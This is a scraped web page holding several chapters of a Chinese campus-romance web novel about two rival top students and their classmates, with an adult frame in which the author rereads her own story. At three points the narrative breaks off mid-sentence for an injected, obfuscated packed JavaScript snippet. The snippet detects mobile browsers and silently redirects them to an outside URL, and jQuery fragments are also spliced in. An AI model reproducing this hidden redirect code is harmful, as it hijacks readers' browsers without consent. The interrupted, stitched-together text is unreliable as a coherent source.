;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084190|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她起身去上了个厕所。 回来的时候没注意,课代表正好抱着作业从她身边经过,她想给他让路,就向后退了一步正巧撞到自己的桌子,听到身后玻璃瓶“哗——”地倒地的声音。 她回身一看,桌上有个倒了的牛奶瓶。牛奶洒了一桌,刚刚包好书皮的新教科书全都被泡了。 啊?? “这牛奶是谁的?”黎雾拎起那个湿漉漉的玻璃瓶。 陈忘野懒懒靠在椅背,也不藏着掖着,答:“我放的。” 黎雾气不打一出来,翻个白眼,语气不善:“你放我桌上干嘛?” 难不成是为了道谢? “啊?”她回想起小卖部的场景,问他,“你早上看到我要买牛奶了?” 他坐直身子,轻描淡写地“啊”了一声。 黎雾没多想就脱口而出:“这不会是偷的吧?” ? 陈忘野语气顿时冷淡了不少,“我这小混混形象是深入人心了呗。” 他说着叹了口气,从书包里掏出一包纸巾,起身,很无奈地走到她桌边。 那架势是要帮她收拾烂摊子。 意识到自己刚刚失言,黎雾语气软了些,握紧牛奶瓶,“好吧,那你怎么不直接给我,或者找个好地方放…” “我看你不想跟我说话。而且你这书桌,哪有好地方。” 他低头瞟了一眼,面露难色。她的桌面上到处散落着胶条,剪碎的纸屑,七零八落的笔记本,中间还夹着花花绿绿的彩笔。 陈忘野嘴角抽了下,没忍住嫌弃地皱了下眉,语调无比欠揍:“不是我说,蟑螂来了你的书桌都要迷路。” “你!” 黎雾被噎住,原本还想再怼他两句,低头看到桌上湿淋淋的课本,擦也擦不干净,突然觉得累了,一下子沉默了。 气压倏地低下来。 窗户没关,冷风吹动窗纱,裹着几片雪花飘进来,落在桌面,转瞬消失。 过了半晌,陈忘野忽地开口:“这样吧,我跟你换总行吧。” 他回到座位,把自己整理好的书本摞成一大叠抱给她,“但我写名了,你不介意就行。” 她半天不做声,他也没太多耐心,挠挠头:“给个话?” “行吧。”黎雾也不跟他争,但也没太多好气儿,把胶条剪刀和那些塑料布都拿过来,摆在他桌上,“那你帮我包书皮吧,包完给我。” 陈忘野看着那些花里胡哨blingbling泛光的小女生东西,不知道从哪下手,纠结了半天,抬头认认真真问她,那语调真诚得过了头,像极了讽刺,更显混账,“包了书皮就能学好吗?” “……” 算了。 一个小混混能懂什么。 黎雾把她湿漉漉的书放他桌上,又把他的全抱走。 她翻开扉页,看到上面写着他的名字。 原来是这几个字。 字如其人,很狂妄。 6.校霸·风格 - 今年的冬天比往年都要冷。 诗里说“二月春风似剪刀”,现实却是二月飞雪似鹅毛。 只不过,窗外零下十几度的冷空气,也吹不散教室内的燥热。 返校日日程安排很紧,发完新书紧接着就是胡桃最发怵的分班考试。 上午刚考完语文和英语,下午是数学和理综。 考试行程排得密密麻麻,教室内的气氛也紧张。几个学霸刚刚还在拿着卷子对答案,对完一个个全都打蔫了。大中午的也没人去食堂吃饭,全都在屋里抱佛脚。 从外班考进实验班是光荣,离开怎么说都是灰溜溜的。再强大的心脏也要承担巨大的落差,谁愿意经历这个,更别说这些天之骄子骄女们,考试退个几名都承受不了,更别提换班了。 “吃饭去吗?”黎雾问胡桃。 “不不不,我就不去了,我再背会儿公式。”胡桃摆摆手,“你是不怕,我可怕啊,我前几次考试都是四五十名徘徊,这不是说掉就掉下去了。” “为了咱俩这半年的幸福未来我都得再努力努力。” 黎雾了然,“好吧,那我帮你带点回来。” 环顾一圈,全班只有一个人拥有超绝松弛感,就是她身后这位。 椅子拉开,陈忘野一双长腿大剌剌地伸展开,他一手捧着湿哒哒的包着她花里胡哨书皮的课本,另一手拎着牛奶瓶,时不时吸两口牛奶,低头有一搭没一搭地看着书。 书是这学期的新课本,和今天的考试内容毫不相干。 上午的考试也是,第一科是语文,考试刚过半他就提前交卷了。 他站起来的时候全班都惊了,他从她身边走过,黎雾余光瞟过去,看到他作文那页是空白的,一个字没写。 看到他她才觉得,其实有时候能装得从一而终也是一种自洽。 只不过,强者的装逼叫耍帅,弱者的装逼叫哗众取宠。 胡桃也顺着黎雾的目光看过去,好心提醒他道:“下午考试你要不要准备准备,争取分到个好班级。” 陈忘野懒洋洋地掀起眼皮:“哪个班是好班级?” “呃……我们班,是最好的班,第一实验班。” 胡桃解释,“然后有几个平行的第二实验班,剩下的都是普通班。” “哦。”某人明显不感兴趣,目光又落回纸面。 “你也可以把我们班当成竞赛班,我们班几乎人人都在搞竞赛,所以偏科的人比较多,天才和怪咖也比较多。” 胡桃补充道:“只有少量不搞竞赛的,那就是超牛逼的全能型选手,比如我们黎黎…” 黎雾眼神在他身上没移开,有点好奇,他是在看哪科课本看得那么入迷。 察觉到她的目光,陈忘野冷不丁抬头,随口问道:“你在哪个班。” 语调不咸不淡,那语气就像礼貌问好,也不care答案。 黎雾:“?” “我是问,考完还是1班?” 胡桃立即替她答了,语气透着点小骄傲,“就算是天塌下来,我们黎黎也还在1班。” “哦。”他又低下头。 聊到一半,几个男生组团过来,手里拿着卷子,黎雾本以为他们是来找陈忘野聊天的。 没想到几个男生径直走到她面前,指着语文卷子上一道古文题,有点心虚,“黎总,这道题选啥啊。” 好吧,是来对答案的。 黎雾低头看了眼题,回答道:“我选的C。” 然后几个男生肉眼可见地更萎了,缩成一团原路返回,嘴里还可怜巴巴地念叨着:“早知道不问了…又扣两分。” 胡桃好心地给某人解释,“他俩是搞化学竞赛的,语文不太好。” 黎雾又回头瞥了眼陈忘野,他倒是对大家的态度转变不以为意。 本来上午课间还有不少同学好奇过来找他搭话聊天,不得不说,他虽然看起来脸臭臭的,但意外的男生缘还挺好,和谁都能扯两句。 只可惜一开始考试一个都没了。一方面可能是大家发现他太敷衍,一方面可能也是被考试压力压得喘不过气,谁还管得了别人。 在这群以成绩为天的高中生眼里,帅哥+学渣,魅力确实少了一大半。 黎雾想了想,突然觉得他可以走另外一个风格。 ——“校霸风”。 嘴里闲闲叼着根烟,眼尾猩红,眼神发狠,把校花堵在墙角捏起她下巴,咬牙切齿说,“老子就是喜欢你,命都给你”。 想着想着,她没忍住噗嗤笑出了声。胡桃凑过来问她笑什么,她压低了声音小声和她咬耳朵,胡桃听完拍着大腿快笑喷了,“哈哈哈哈哈哈哈,有那味儿了!我脑子里都有画面了,被堵着的那个校花就是你。” “……是你。” “是你是你就是你。”胡桃笑得不行,“我倒是也想啊,但我也没校花那颜值。” “怎么没有,你都这——么可爱了还没有啊?”黎雾伸手揉了揉她的头发,“你看看你这小卷毛跟小泰迪似的。” “好吧好吧,我头发是还不错。”胡桃嘟嘟嘴,手指勾着自己的小卷毛,“比起咱班这些大学霸们,我唯一能吹的就是我这头茂密的秀发了。” …… 还沉浸在刚刚的话题,陈忘野看着看着书,忽然抬头,问了句:“所以你们1班的人都很有优越感?” “优越感谈不上,大家都是为了自己学习,也不是为了做给谁看。”黎雾答道,“顾自己都顾不过来,哪有闲工夫去管别人想法。” 胡桃摆摆手插嘴,“不不不,黎黎这是你的想法,我还是挺有优越感的。” 陈忘野难得对哪件事感兴趣,胡桃也是好心,打开了话匣子般一股脑地给他解释了一通,“你知道吗,我们班还是有挺多特权的。师资力量是全年级最好的就不用说了,学习方面还是最自由的。考试没监考,作业也不用交。老师就是把作业布置下来,你爱写哪科写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084191|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪科,只要成绩过关就行。而且我们班的仪容仪表管得也不严,在班里脱了校服外套穿自己上衣也行,发型也没人管,所以我才能偷偷卷头发。” 胡桃盯着陈忘野看了看,这人可真是帅到头发丝儿,发丝乌黑浓密,打理得很清爽,头顶的发丝微微翘起,碎发随意搭在额前,露出一小片额头,衬得下颌线条更加分明。 两侧的头发修剪得刚好,既不会太短显得硬朗,也不会过分柔和,帅得颇有质感,恰到好处。 胡桃啧啧嘴,“就你这头发,虽然不算长,但要是去了普通班估计得剃成寸头了,可惜啊可惜。” 黎雾冷不丁插嘴,凑过去,小声说,“可惜吗,我怎么觉得寸头更符合…” 话没说完,胡桃秒懂,又一次笑得前仰后合,“哈哈哈哈哈哈哈靠,确实确实。” 更符合眼尾猩红的“校霸风”。 “我怎么听说你们学校的校风是尊重个性,海纳百川呢。”陈忘野放下课本,语气闲散,“就这么堂而皇之地搞这种特权阶级?” “特权阶级?” 黎雾重复了一遍。 特权,加了“阶级”两个字就变得意味深长了。她的目光落在陈忘野那头“恰到好处”的发型上。 嗯,这样的头发在重点班是被允许的,是所谓的“自由”的象征,但换到普通班呢?早就被逼着剃了。 不是普通班的规则更严格,而是他们根本没有选择的权利。 因为自由,只有站在高处的人才有资格谈论。 她其实一直不喜欢附中的分班制度。 一次考试,就能把学生分成三六九等。重点班的同学要挑战竞赛,普通班的就该安心做题;重点班要冲刺名校,普通班就该认清现实。 话虽如此,她也不是没见过从普通班考上来,留了炫酷的飞机头,最后承受不了压力又掉回普通班,一怒之下剃成光头的案例。 光环还是枷锁,都是双刃剑罢了。 “是,但生活方式是自己选的。就算‘特权’真的海纳百川,那也得看你有没有掌握住那片海的本事。” “嗯。”他淡淡哧了声,不以为意。 说了这么多,黎雾能看出来陈忘野对1班不1班的还是兴致缺缺,从始至终都是懒洋洋的,耷拉着眼皮,半点表情波动都没有。 不过也是,以他的水平,不管有没有兴致他也考不进来啊。以他的性子,应该也是不管去哪个班都能如鱼得水吧。 费这么多口舌就当科普了,给新同学散发点附中善意。 陈忘野低下头,又开始有一搭没一搭地看书,手里拎着牛奶瓶,快喝完了,他吸着吸管吸进两口空气,牛奶见底,发出轻微的“滋溜”声。 胡桃背着背着公式,眼睛一转忽地想到了什么,猛然抬头,回头看他:“哦!我突然想起来,最重要的一条忘了说了!” “嗯?” “我们班不管早恋。” 闻言,陈忘野慢悠悠抬眼。 7.鸠占·鹊巢 - 《勿忘》【chapter.3 鸠占·鹊巢】 - 他的微表情被黎雾尽收眼底,没想到这人竟然是在这句话有了反应。 不愧是“校霸混混”,来新学校第一天抽了支烟,打了个架,紧接着收拾收拾就准备早恋了。 都不带歇的。 牛,还是他牛。 陈忘野放下牛奶瓶,玻璃瓶身敲击桌面发出轻微的“铛”的一声,他倾身靠近桌面,单手撑着下巴,话没多说一句,表情已经暴露了一切,脸上写着“详细说说”。 聊到这话题,胡桃整个人都来了精神,书也不读了,兴致勃勃地转身过来:“怎么说呢,底层逻辑就是,只要你成绩好,想做什么就做什么。只要你们别太夸张在教室里面搂着亲嘴,问题就不大。” “不过就算真亲了,也就是被叫去办公室喝喝茶,不会被拆散的。” 她想到个重点,猛地一拍手,提醒他:“哦对,但是你得躲着点‘杨过’才行。他是最‘一视同仁’的,才不管我们1班的那些不成文的规矩呢。就算天王老子来了,落他手上,也是一死。” “谁是‘杨过’?” “你过几天就知道了。” “杨过”是他们年级的风纪老师,看他这么狂妄,应该过不了两天就得去他那喝茶了。 黎雾补了句,“不过拆不拆散也不重要吧,都用不着外力。学霸小情侣们都很清醒的,学习成绩一下滑,都不用人拆,自己就散了。” 她看了他一眼,“你懂的,不能齐头并进的爱情就像一盘散沙。” 胡桃也捧哏,在旁边抬起手,手心朝上兜成个半圆,好像里面真的装着沙子一样,闭眼轻轻一吹,手腕顺势翻了个个,轻甩出去:“握不住的沙,不如扬了它。” 陈忘野饶有兴致地点点头,话是对着黎雾说的:“没看出来,你心还挺硬。” “这叫心硬吗?”黎雾语调淡淡,“虽然我们还是会歌颂美好的,突破世俗阶级障碍束缚的爱情。但我没那么伟大,我谈恋爱又不是为了扶贫的,真有那时间精力我还不如去救助几个贫困儿童呢,也算为社会做贡献了。” 听着这话他兴致不高,也没过多反应,又恢复了一如既往懒洋洋的模样,整个人懒散地向后靠在椅背,手指搭在桌面有一搭无一搭地敲着。 黎雾突然有点后悔了,跟一个初次见面的小混混说这么多干什么,聊这种深层的感情观话题能得到什么回应。 她刚要回身,就听见他幽幽开口,语气玩味:“所以你今早对我的路见不平拔刀相助,是应该理解成突破心防障碍、条条框框的试探。” “还是箭在弦上不得不发,逼不得已才做出的,”他想了想,选了个合适的词语,“权衡取舍?” 见她不理解,陈忘野慢条斯理地补充:“毕竟我在你眼里,就是个玩世不恭自甘堕落的小混混吧。要真值得你一个天之骄女放下身段,精准扶贫。” “那还真是,”他掀起眼皮,慢悠悠道,“受宠若惊呢。” …… 他笑了,语气却凉飕飕的,向前倾身,手肘搭在课桌,意味深长地盯了她几秒:“我来分析分析哈,你只是怕麻烦,因为警察来了还要浪费你时间,你一大早赶着第一个进学校就是想图个清静。虽然当下冲出去也有危险,但毕竟还有个小混混在,看起来也挺强的,就算打人也打不到你头上……” 我天,黎雾简直汗流浃背了。 他越是语调淡淡,听起来就越是冷静得可怕,凉飕飕的骇人。 这是得有多强的洞察力才能靠几个动作,三言两语就把她给看得透透的。这一大段几乎就是照着她的内心独白念的。 黎雾一时语塞,被他直勾勾的目光盯得头皮发麻,她正想着怎么解释,突然听他话锋一转,笑了下。 不知道是嘲讽,还是真宽宏大量般地说:“但不管怎么说,我还是要感谢你无条件的信任。” “相信我,而不是相信他。” …… “啊?这是聊什么呢?我怎么一个字也听不懂啊?”胡桃嚷嚷,“有什么瓜都不告诉我!” 黎雾讪讪地伸手捂着她的脸,把她的头扭回去:“没事,你好好学习,不重要。” 她回过身,吞吞嗓子轻咳了两声缓解尴尬,不想再继续这个话题,没话找话地问:“你不学吗?” 陈忘野挑眉,语气很欠揍:“现在学还有用?” “那倒也是。” 回身之前,黎雾最后瞥了他一眼,看到他拎着那本泡满牛奶的教科书,低头漫不经心地看着。 似乎是想找目录,他翻回扉页,恰巧看到页脚写着她的名字。 “黎雾”二字,用亮晶晶的彩笔写得工整,他目光停留了一会儿,随即移开。 黎雾回过身,心思有点被他搅乱了,思考了半天最终还是刻板印象占了上风。 他在她心中最多也就是从一个普通的小混混变成了,眼神好点儿的小混混罢了。 …… 开始考试。 剩下的几科他倒是没上午那么夸张,中场就交卷。估计也是认认真真答题了,只不过答到后来他可能实在坐不住了,每次提前个20分钟左右交卷。 交卷的时候,他在全班人的注目礼中走得那叫一个大步流星,游刃有余,气宇轩昂。 不知道的还以为是谁家状元走颁奖台呢。 黎雾算是看出来了。 这人最大的优点就是自信。 最后一科考完,黎雾还回身友善地朝他摆摆手,嘴角挂着微笑,无比真诚:“有缘再见。” 估计不会再见了,普通班和实验班相距十万八千里,隔着大半个教学楼,课间十分钟也就跑个单程。 - 但她怎么也没想到打脸来得这么快。 黎雾第二天早上步履轻快地进班,外套上还带着室外的寒气,冬日的冷空气吹得她的脸颊泛起些红晕。 刚一进班,暖意袭来,她摘下围巾,一抬眼,又在老位置见到了某个"太极八卦图"。 甚至他还笑眯眯地和她打了个招呼。 …… 黎雾今早到校不算太早,天光已经大亮。 冬日天色清冷,残留着几缕晨曦的微光。她一进教学楼就看到楼下表彰榜前挤满了人,里三层外三层地围了个水泄不通。 最外圈的人踮着脚尖,像一群长颈鹿一样,脖子伸得老长,直勾勾地往里探头。 都知道附中老师判卷是神速,当天考完第二天就出成绩。每次成绩一出,表彰榜那里都是这个光景,黎雾也见怪不怪。 只不过今天气氛确实比以往热烈不少,还有人拿出手机拍照,有点反常。 她耳机里放着英语听力,隔绝了外界的嘈杂。耳机线随着步伐摆动,她熟练地绕过人群,肩膀微微侧倾,避免与人相撞。 听不清他们在聊什么,她也没过多在意。 进了班,她一打眼看到了几个陌生面孔,才想起来,今天不只是出成绩,还出了新的分班结果。 班里绝大多数都是老熟人,偶尔有一两个从外班考上来的,桌上摞着厚厚的卷子,很有学霸的自我修养,一大早就埋头于题海中,有人和他们打招呼时才如梦初醒般地抬头,寒暄两句。 寒暄完,眼神转瞬飘回试卷上那些密密麻麻的公式和题目。 也是,在附中这样一个厮杀场,不是卷死别人就是被别人卷死。 在这样一个卷生卷死的地方,只有一处空气格格不入。 教室后排靠窗的位置,一个人懒洋洋地趴在桌上,长腿伸展开,肩膀随着均匀的呼吸微微起伏,睡得很香。 窗外的雪已经停了,冬日冷白色的阳光透过窗户洒进来,细小的灰尘在光束中浮动,在他周围勾着一圈金边。 他桌上散落着几本翻开的教科书和一支半开的水笔,一片凌乱中,他手臂交叠着,帽衫的袖子微微卷起,露出一截劲瘦有力的小臂,充当临时枕头,很像一只大剌剌趴在屋檐边晒着太阳,睡得天昏地暗的野猫。 教室里不只是她在看他,周围不少同学都在看他。三五成群窃窃私语,想靠近又怕打扰。 就这样,他保持着这个姿势,一动不动,直到黎雾拉开椅子,轻轻发出“吱呀”一声。 他被这动静吵醒,眉头蹙起,有些不耐地抬头。 他今天换了校服,一身白色的附中校服穿得宽松,里面套了件黑色帽衫,帽子松松扣在头上,遮住了大半个额头,几缕碎发不听话地从帽檐下钻出。 一身周正的校服都没能敛住他的嚣张,更多了分反差。 看清来人,陈忘野表情柔和了些,慢悠悠直起身,脊背舒展开来,打了个哈气,喉结微动。 他抬起手,亲切又敷衍地朝她打招呼,嗓音还染着刚睡醒的暗哑:“早上好。” 黎雾愣在原地,没想到今天还能见到他,眨眨眼:“你走错了?” 她说话不带刺,只是单纯疑问,在这情景下却怎么听怎么像讽刺。 像一根细针扎在气球上,“噗”地把某人的柔和扎漏了气。 陈忘野:“?” 怕他误会,她很好心又耐心地解释,语速放慢,“是这样的,虽然昨天考试你是在我们班考的,但今天就该去新班级报到了。分班表在一层公告栏那里,你可以去看看。” 他撑起眼皮,不紧不慢地说,“嗯,我看了。” “哦,你是哪班?不认路的话我可以给你指指。” “认路。”他笑。 说完松松垮垮地靠回椅背,没个正形。 ? 不会吧。 黎雾心里升起一股不祥的预感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093683|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又觉得不可能,她放下书包,撂下一句,“你等等。” 说罢她一路跑下楼,拨开一众拥挤的人群,挤到最前列。 在分班表前她见到了胡桃,胡桃一秒钟冲上来,像树袋熊抱树干一样勒紧她的脖子,高分贝的声音炸雷般炸在她耳边:“啊啊啊啊啊啊啊啊啊太好了太好了太好了,我还在1班!!!!!!” 说罢还不放手,和她脸颊贴着脸颊,越勒越紧,勒得她呼吸不畅,“呜呜呜黎黎我真棒!” 黎雾讪笑着祝贺,好不容易挣脱她的怀抱,紧接着她又听到一道更激昂的声音,“黎总,梨花花!!!!!胡桃,胡桃桃!!!!!你爸爸来也!!!!!” 混乱中,陈明清挤进人群,一把勾住黎雾和胡桃的脖子,重重揽在自己的肘窝里。 黎雾推他一把没推开,心说这小子长得白白净净小白脸,细狗一个,力气还真不小。 她被烦得不行,猝不及防地伸手戳了下他的腰窝,他果然猛地弹射出去,松开了她们。 紧接着他又嬉皮笑脸地弹回来,像个赖皮猴子:“哥今天开心,不跟你们计较。” 黎雾被这两个人吵得眼冒金星,耳膜被高分贝音浪震得发麻,到现在都没看清分班表。 看见来人是陈明清,胡桃撇撇嘴,很嫌弃的样子,“好不容易上学期班里没你清净得不行,怎么你又考回来了。” “这是你对竹马该有的态度吗。”陈明清接着笑,伸手又想搂她,被她一把推开。 “靠别侮辱这词儿,我鸡皮疙瘩都起来了。”胡桃夸张地抖了抖身子,拍拍袖子,手掌拍击布料的声音清脆,“就咱们这关系,连发小都称不上,最多也就称得上是个,纸尿裤搭子。” “不是吧今天火气这么旺?你也没掉排名啊?” 胡桃呵呵一笑:“我这一个星期都联系不上你,还以为你死了。” 陈明清无奈摊手:“没办法啊!我爸把我信用卡冻了,还把我手机收了。说我要是回不到1班,这学期别说手机游戏没得玩,饭都别想吃。” “哦对,还有就是我们家把我哥接回来了,这两天比较忙。” 关于陈明清他哥的事,他们都略有耳闻。 那个男孩也是可怜,和陈明清是异卵双胞胎。只可惜同胞不同命,没当上大少爷,从小就被爸妈抛弃了,辗转了多地,前些年都是在小叔家生活。 但也是出息,听说他去年在美国拿了国际物理奥林匹克竞赛的金牌。 这事儿被陈爸知道更是炸裂,愣是憋得几天没睡觉。 然后一个几年没管过孩子学习的人,像是一夜之间想起了自己还有教养子女的责任。 用陈明清的话来说,陈爸没当上“好爸爸”,只是癫了。一个劲儿地抓着他不放,对彼此都是折磨。 不过在黎雾看来,所谓的“折磨”,也是迟来的“父爱”。 比起对他哥哥的冷漠和不闻不问,强上百倍千倍。 陈明清和胡桃两个人一直忙着打闹,都没注意到黎雾已经离开了分班表的位置,去了表彰榜前。 表彰榜上贴着总分第一,和各科的单科第一。 她站在那身体僵硬,目光呆滞,面如土色,心如死灰。 “咋了黎黎?”胡桃的声音从身后传来。 “这也没什么可看的吧,这么多年不都是你,挂一排,我都看腻了。” 窗外冬日的阳光高悬,走廊里暖气片散发的热气在玻璃上结了一层薄雾,晨光透过走廊尽头的窗户斜斜洒落,照亮了表彰榜上的一排排照片和名字。 雾蒙蒙的。 “陈忘野。” 黎雾缓缓吐出三个字。 “哦你还惦记着那个大帅哥啊!我刚刚看了,他排49名,没想到他这么厉害啊,果然人不可貌相。你不是说他作文一个字都没写吗,那其他科得多高啊。” 胡桃语调激昂,越说越兴奋:“我可得好好和他处好关系,到时候让他把他弟弟介绍给我!哈哈哈哈哈哈哈哈哈哈靠,不行了,我都笑得合不拢嘴了。” 黎雾没说话,眼神直勾勾盯着表彰榜,瞳孔微缩。 原本属于她的一排可可爱爱风光无限的照片,被人换掉了一半。 就连原先最拿手的数学和英语,都被一个人“鸠占鹊巢”。 他甚至连表彰的照片都懒得贴,就在各科空档的位置上唰唰签上了他龙飞凤舞的大名,跟明星签红毯似的,字写的还不小。 笔锋如刀,锋芒毕露,隔着纸面都能看出他的嚣张狂妄。 那顿笔,都快飞到黎雾脸上了。 隔着这行字,她眼前都浮现了他那张皮笑肉不笑,挑着眉稍,混账又骄傲的脸。 陈明清冲出来,整个人趴到表彰榜上,手摸着陈忘野的名字。 “我操!哥!!!这不是你吗!哥!!!” 8.平静·疯感 - Redbean会议室中暖气开得很足,热气蒸腾,在玻璃上凝成白霜,闷得人呼吸发紧。 黎雾脑子很乱,在这会议室实在呆不下去,趁着陈忘野刚刚有事被叫走的时候,她偷偷溜出了公司,实在没勇气和他共处一室。 出了大门她也没处可去,只能漫无目的地闲逛,最终在零下十几度的大冷天里可怜兮兮地找了个老年公园,坐在长椅上,又一次认认真真地读了她刚更新的那几章校园文。 文章只更了前三章,交代了男女主是怎么认识的。 黎雾越看越觉得汗流浃背,鸡皮疙瘩直掉。 天,这狗血的开头,这尴尬的用词,这不留余力的渲染,这冒着青春气息粉红泡泡的氛围,竟然全都出自她手。 要知道她向来是以逻辑缜密剧情烧脑,文风冷静情节血腥惊悚见长的,曾经还被好多读者以为她其实是个披着优雅笔名、可爱头像的,变态中年大叔。 现在竟然整了这么一篇无脑青春校园疼痛文学出来,这一世英名算是毁于一旦了。 更变态了。 评论区一串问号。 「????????????」 「雾叔被盗号了???」 「合着失踪一个多月是转型了???」 剩下的就是吵架—— 「我现在相信雾叔是个美少女了。」 「雾雾早就说过她是女孩子呀,怎么,悬疑恐怖写得好就说她是男的,现在改写校园甜饼就说她是女的了?」 「谁不说一句我雾姐牛逼!各种题材咔咔乱杀。」 「呃呃呃,这校园文写得很好,以后还是别写了。」 「上篇文不更了的话能不能解v退钱啊?真够膈应的。」 一条条看得人头晕,黎雾按灭了手机,脑子里又冒出刚刚他俩在办公室的对话—— “这是我写的???”黎雾震撼,“不可能,我怎么可能写出这么矫情的东西。” 陈忘野轻哧了声,语气疑惑:“不然呢?难不成还是我写的?” 他倾身向前盯着她眼睛,唇角小幅度一扯,嘲讽意味十足:“你干脆说是我黑了你的网,盗了你的号,偷了你的旧文还不够,还给自己取了个狗的名字帮你写了篇新文,现在抓着你不放就是想讹你的违约金呗。” “哈哈…也不是没这可能……” “敢作敢当听过没?”陈忘野靠向椅背,指尖懒洋洋地在手机屏幕上轻敲,发出“哒哒”的声响,“自己写了这东西,该认就认。” 黎雾嘴角一颤,“真的,遇到你之前,我都不知道我的人生还能这么drama。” “呵呵,彼此…彼此。” …… 彼时黎雾还没相信这校园文写的是她自己的故事,就只当是主人公起名类似。 毕竟作者这个行业,1成靠经验,9成靠瞎编。艺术来源于生活,但远高于生活。 谁会真的把自己的故事原封不动写进小说啊,又不是日记。 什么是真正的生活呢。 没有光环,没有轻松,没有粉红泡泡。 只剩狗血了。 黎雾躺在积雪的长椅,像个流浪汉。 今晚住哪里还是个问题。 - 另一头,柳居客厅。 陈忘野生无可恋地瘫在沙发上,手机上是她的那篇文,他低头看两眼,嘴角抽两下,合上屏幕,表情恢复平静,恢复以往的松弛与强大。 过两秒又没忍住点开,看一眼,松弛裂开,继续生无可恋,再抽两下嘴角,说不清是在哭还是在笑。 总结下来就是,美丽的精神状态,平静的疯感,淡淡的死意。 “靠,你这一癫一癫的跟中风了似的,太恐怖了。” 陈明清撇撇嘴,脸皱得像苦瓜,大不理解,“至于吗,她有什么好的啊。是挺漂亮挺聪明,但她那死倔脾气,跟死驴一样,一般人谁能受得了啊。” 他笑得揶揄,“咱小声说,找老婆还是得找贤惠的,温柔乖巧一点的,不图钱不图房不图车就图你这个人,死心塌地跟着你像个小白花一样,日子才过得舒服。” 听见这话,陈忘野躺在沙发背,侧眼,一个眼风削过去,夹着冰刃,就差把人扎穿了,嘴角还挂着个不咸不淡的微笑:“想死?” 陈明清抱个抱枕,挡住半边脸,在后面眉飞色舞,“你懂我的意思。” 这几个小时,陈忘野一直在左右摇摆,现在算是摇回了正常模式,不屑一顾,淡淡道:“我终于理解什么叫岁月是把杀猪刀了。” “?” 他敲敲手机,“我看她那小说里写的你十几岁的时候,虽然蠢是蠢但还挺青涩啊。我都替那把刀嫌腻,杀完你得粘了厚厚一大层猪油吧,一股子腥臭味儿。” “骂这么狠?嫌我发言恶心啊?”陈明清向后一靠,像个大爷,“男的谁不这么想啊,就你特别,就你清高,就你要新时代爱情,男女平等势均力敌是吧,口号谁不会喊啊。” “几个意思?”陈忘野懒散地挠挠耳朵,像是敷衍都嫌烦,“你这一边想当旧社会老大爷让人给你做家务当后盾,一边又要人不图钱不图房,是不是还想人家有个体面工作恨不得生活费都和你aa。” “高考作文写你多好,传统与现代的融合?” “随你,反正我就告诉你。老婆就是要找贤惠,温柔,乖巧,死心塌地的。” “不图钱、不图房、不图车,就图你这张脸或者这张油嘴滑舌的嘴。所以人家为什么会心甘情愿地陪着你?吃菌子了?” 陈忘野仰头,手臂挡住眼睛,遮住了天花板上刺眼的光,只露出下半张脸,下颌线凌厉而冷清。 聊到这个话题,他脑子里莫名冒出了刚刚看的她小说中的一句话——不能齐头并进的爱情就像一盘散沙。 他叹了口气,喉结滚动,像是漫不经心地补了一句:“你觉得我清高也好,喊口号也好,随你。只是,像你说的那种感情,我还真不稀罕。” “我宁愿要个能跟我一起扛事,一起努力的人。贤不贤惠,温不温柔,怼不怼我,我都不在乎。起码我们能并肩站在一起,不是谁拖着谁往前走。” “操,你今天怎么这么多话啊?” “黎雾回来你亢奋啊?” 陈明清手里的靠垫朝他扔过去,被陈忘野一手接住,顺势丢回来正好砸在他头上,气得他呲哇乱叫,“靠,这些东西你有必要向我证明吗?黎雾面前你一个屁都放不出来,在她面前装高冷装男神,在我面前哔哔哔,你是…” 话还没说完被他打断,陈忘野指着门口,淡淡地吐了个字:“滚。” 陈明清一秒服软,“行,哥,我是夸张了点,但这不都是为你好吗。你看看黎雾那种独立的,都忙着追求自己人生呢,谁理你,谁给你生孩子。” “你脑子里只有传宗接代那点事儿?”陈忘野是真乏了,歪着身子,连语气都染上了倦意,有气无力,“这么想要孩子要不去给楼下那只三花猫喜当爹吧,省得她天天碰瓷我家煤球。” “人家是想碰瓷煤球吗,那不是想碰瓷你吗。” 煤球是陈忘野的猫,养了七八年了。 前几天陈明清带猫下楼遛弯,碰见了楼下美女也带自家小猫来遛弯,两人聊了两句,没两周美女找上门来说她家猫怀孕了,怀疑是煤球搞的。 陈忘野家猫都绝育多少年了,有这心也没这力啊。 挺无厘头的一个事儿,陈明清也没往心上放,就是那美女挺执着,时不时就微信轰炸找他要个说法。 陈忘野愈渐烦躁,“跟我有什么关系?你带我家猫出去玩惹的烂摊子让我给你收拾?” “我跟她说挺清楚的了啊,她还不放过,最近天天管我要你联系方式,说要自己和你说。” 